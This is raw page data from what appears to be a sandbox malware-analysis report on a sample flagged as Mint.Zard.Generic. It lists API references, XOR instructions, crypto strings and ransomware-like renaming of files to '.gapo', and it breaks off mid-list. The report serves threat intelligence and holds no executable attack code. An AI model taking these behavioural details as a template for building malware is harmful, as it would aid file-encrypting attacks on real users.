24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 69:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T497,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Mint.Zard.Generic Sample 433e3a2b3cd8… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 433e3a2b3cd8…. Malware family: Mint.Zard.Generic. Threat score 100/100. 19/25 AV engines flagged this file. 13 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614","keywords":["Malicious","Mint.Zard.Generic","malware analysis","sandbox report","threat intelligence","433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614"],"about":{"@type":"SoftwareApplication","name":"7463534709.exe","applicationCategory":["peexe","executable"],"identifier":"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Mint.Zard.Generic","antivirusDetections":{"malicious":19,"total":25},"behavioralIndicators":{"malicious":13,"suspicious":22},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T824,Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.05810000.00000004.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp")26:T4f4,Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp")27:T78b,Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00000240.00000000.150804.00401000.00000020.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00001252.00000000.153275.00401000.00000020.mdmp") Found reference to API "FreeLibraryWhenCallbackReturns" (Indicator: "FreeLibrary"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.05810000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.05810000.00000004.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00005112.00000002.155651.05810000.00000004.mdmp")28:T13f0,file/memory contains long string with (Indicator: "Aes"; File: "pip.exe") file/memory contains long string with (Indicator: "Aes"; File: "cdosys.dll.mui") file/memory contains long string with (Indicator: "Aes"; File: "syncres.dll.mui") file/memory contains long string with (Indicator: "Aes"; File: "aphostres.dll.mui") file/memory contains long string with (Indicator: "SHA384"; File: "pyexpat.pyd") file/memory contains long string with (Indicator: "Oid"; File: "TM02455610_fn_Autumn_.thmx") Found reference to "DlSHA512 block transform for x86, CRYPTOGAMS by " (Indicator: "SHA512"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to "HMAC routines" (Indicator: "HMAC"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to "HMAC_Init_ex" (Indicator: "HMAC"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to "RC2_MAGIC_TO_METH" (Indicator: "RC2"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to "RSA-SHA384" (Indicator: "SHA384"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to "RSA-SHA512" (Indicator: "SHA512"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to "SHA384" (Indicator: "SHA384"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to "SHA512" (Indicator: "SHA512"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to "HMAC-MD5" (Indicator: "HMAC"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to "HMAC-SHA1" (Indicator: "HMAC"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to "ecdsa-with-SHA384" (Indicator: "SHA384"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to "ecdsa-with-SHA512" (Indicator: "SHA512"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to "hmacWithSHA384" (Indicator: "SHA384"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to "hmacWithSHA512" (Indicator: "SHA512"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to "id-HMACGostR3411-94" (Indicator: "HMAC"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to "HMAC GOST 34.11-94" (Indicator: "HMAC"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to "RC2-CBC" (Indicator: "RC2"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to "RC2-ECB" (Indicator: "RC2"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found reference to "RC2-CFB" (Indicator: "RC2"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp")29:T21dd,"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" renamed original file"C:\bootTel.dat" to "C:\bootTel.dat.gapo" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" renamed original file"C:\found.000\file00000003.chk" to "C:\found.000\file00000003.chk.gapo" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" renamed original file"C:\found.000\dir0001.chk\$filehashes$.dat" to "C:\found.000\dir0001.chk\$filehashes$.dat.gapo" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-onecore-a..ktop-fod-deployment_31bf3856ad364e35_10.0.17134.1_none_1acd90a93eb8e614.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-onecore-a..ktop-fod-deployment_31bf3856ad364e35_10.0.17134.1_none_1acd90a93eb8e614.manifest.gapo" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-aphostservice_31bf3856ad364e35_10.0.17134.1_none_61f1e11b4ca3c826.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-aphostservice_31bf3856ad364e35_10.0.17134.1_none_61f1e11b4ca3c826.manifest.gapo" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..-activesyncprovider_31bf3856ad364e35_10.0.17134.1_none_a4eb99a65ff11c83.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..-activesyncprovider_31bf3856ad364e35_10.0.17134.1_none_a4eb99a65ff11c83.manifest.gapo" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..-syncutil.resources_31bf3856ad364e35_10.0.17134.1_en-us_1dd2d143d2732a0b.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..-syncutil.resources_31bf3856ad364e35_10.0.17134.1_en-us_1dd2d143d2732a0b.manifest.gapo" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_cs-cz_162eb33a1e7e3c6b.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_cs-cz_162eb33a1e7e3c6b.manifest.gapo" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_da-dk_b368936114c4386a.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_da-dk_b368936114c4386a.manifest.gapo" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_de-de_b094289d169a8d04.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_de-de_b094289d169a8d04.manifest.gapo" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_el-gr_592a563005aff592.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_el-gr_592a563005aff592.manifest.gapo" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_en-us_5984fe96057898c9.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_en-us_5984fe96057898c9.manifest.gapo" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_es-es_59505b7a059f8a6e.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_es-es_59505b7a059f8a6e.manifest.gapo" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fi-fi_f86b6026fab97c98.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fi-fi_f86b6026fab97c98.manifest.gapo" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fr-fr_fc07d178f871a0d0.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fr-fr_fc07d178f871a0d0.manifest.gapo" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_437851c0dcd16fec.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_437851c0dcd16fec.manifest.gapo" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_it-it_e62fc7bfcfa3864e.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_it-it_e62fc7bfcfa3864e.manifest.gapo" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ja-jp_885546ccc2be9829.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ja-jp_885546ccc2be9829.manifest.gapo" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ko-kr_2bbf2381b52f5f3f.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ko-kr_2bbf2381b52f5f3f.manifest.gapo" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nb-no_1451a4b68d548afb.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nb-no_1451a4b68d548afb.manifest.gapo" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nl-nl_1290eff48e8094d0.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nl-nl_1290eff48e8094d0.manifest.gapo" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pl-pl_58cd4a7673a30284.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pl-pl_58cd4a7673a30284.manifest.gapo" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pt-br_5b21351a722c9668.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pt-br_5b21351a722c9668.manifest.gapo" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pt-pt_5c030486719c0644.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pt-pt_5c030486719c0644.manifest.gapo" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ru-ru_a2a6164a567d9470.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ru-ru_a2a6164a567d9470.manifest.gapo"2a:T1234,Assembly shows XOR instruction xor eax ebp in Stream UID: 4139-607-004094FB Assembly shows XOR instruction xor ecx ebp in Stream UID: 4139-607-004094FB Assembly shows XOR instruction xor eax ebp in Stream UID: 4139-608-0040C199 Assembly shows XOR instruction xor ecx ebp in Stream UID: 4139-608-0040C199 Assembly shows XOR instruction xor eax ebp in Stream UID: 4139-626-0040F533 Assembly shows XOR instruction xor ecx ebp in Stream UID: 4139-626-0040F533 Assembly shows XOR instruction xor eax ebp in Stream UID: 4139-180-00412B3C Assembly shows XOR instruction xor ecx ebp in Stream UID: 4139-180-00412B3C Assembly shows XOR instruction xor eax ebp in Stream UID: 4139-213-0040EC4C Assembly shows XOR instruction xor ecx ebp in Stream UID: 4139-213-0040EC4C Assembly shows XOR instruction xor eax ebp in Stream UID: 4139-629-0040F635 Assembly shows XOR instruction xor ecx ebp in Stream UID: 4139-629-0040F635 Assembly shows XOR instruction xor eax ebp in Stream UID: 4139-610-004123A1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 4139-610-004123A1 Assembly shows XOR instruction xor eax ebp in Stream UID: 4139-633-0040F806 Assembly shows XOR instruction xor ecx ebp in Stream UID: 4139-633-0040F806 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005112-14449-29-0042A57A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005112-14449-29-0042A57A Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005112-14449-626-004230C5 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005112-14449-626-004230C5 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005112-14449-600-0044D4BA Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005112-14449-600-0044D4BA Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00005112-14449-2834-004C2700 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00005112-14449-2834-004C2700 Assembly shows XOR instruction xor eax dword ptr [0050AD20h] in Stream UID: 00000000-00005112-14449-40-0043263E Assembly shows XOR instruction xor eax dword ptr [0050AD20h] in Stream UID: 00000000-00005112-14449-667-00432515 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005112-14449-260-004549A0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005112-14449-260-004549A0 Assembly shows XOR instruction xor eax dword ptr [0050AD20h] in Stream UID: 00000000-00005112-14449-619-0043887D Assembly shows XOR instruction xor eax dword ptr [0050AD20h] in Stream UID: 00000000-00005112-14449-670-00427D6C Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00005112-14449-259-00454AE0 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00005112-14449-259-00454AE0 Assembly shows XOR instruction xor al byte ptr [ebp-02h] in Stream UID: 00000000-00005112-14449-504-0043BAC1 Assembly shows XOR instruction xor byte ptr [ecx+edx+24h] al in Stream UID: 00000000-00005112-14449-504-0043BAC1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005112-14449-243-00426AB6 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005112-14449-243-00426AB6 Assembly shows XOR instruction xor eax dword ptr [0050AD20h] in Stream UID: 00000000-00005112-14449-50-00432534 Assembly shows XOR instruction xor eax dword ptr [0050AD20h] in Stream UID: 00000000-00005112-14449-668-004324F7 Assembly shows XOR instruction xor byte ptr [edx] al in Stream UID: 00000000-00005112-14449-668-004324F7 Assembly shows XOR instruction xor byte ptr [edi+65h] ah in Stream UID: 00000000-00005112-14449-668-004324F7 Assembly shows XOR instruction xor byte ptr [edi+00007465h] al in Stream UID: 00000000-00005112-14449-668-004324F7 Assembly shows XOR instruction xor byte ptr [edx+74h] 10h in Stream UID: 00000000-00005112-14449-668-004324F7 Assembly shows XOR instruction xor byte ptr [esi+7Ah] ah in Stream UID: 00000000-00005112-14449-668-004324F7 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005112-14449-185-0042E003 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005112-14449-185-0042E003 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00005112-14449-2833-004C28F0 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00005112-14449-2833-004C28F0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005112-14449-300-00433E00 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005112-14449-300-00433E002b:T15b7,file/memory contains long string with (Indicator: "private key"; File: "_readme.txt") Found string "PUBLIC KEY" (Indicator: "public key"; File: "00000000-00005112.00000002.155651.00400000.00000040.mdmp") file/memory contains long string with (Indicator: "public key"; File: "00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "ANY PRIVATE KEY" (Indicator: "private key"; File: "00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "ENCRYPTED PRIVATE KEY" (Indicator: "private key"; File: "00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "PRIVATE KEY" (Indicator: "private key"; File: "00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "RSA PRIVATE KEY" (Indicator: "private key"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "RSA PUBLIC KEY" (Indicator: "public key"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "PUBLIC KEY" (Indicator: "public key"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.0596A000.00000004.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.059D2000.00000004.mdmp") Found string "DSA PRIVATE KEY" (Indicator: "private key"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "EC PRIVATE KEY" (Indicator: "private key"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "private key header missing" (Indicator: "private key"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "unable to decode rsa private key" (Indicator: "private key"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "unknown public key type" (Indicator: "public key"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "unsupported public key type" (Indicator: "public key"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "wrong public key type" (Indicator: "public key"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "invalid private key" (Indicator: "private key"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 00000000-00005112.00000001.153729.00400000.00000040.mdmp, 00000000-00005112.00000002.155651.00400000.00000040.mdmp") Found string "missing private key" (Indicator: "private key"; Source: "00000000-00005112.00000000.151810.00400000.00000040.mdmp, 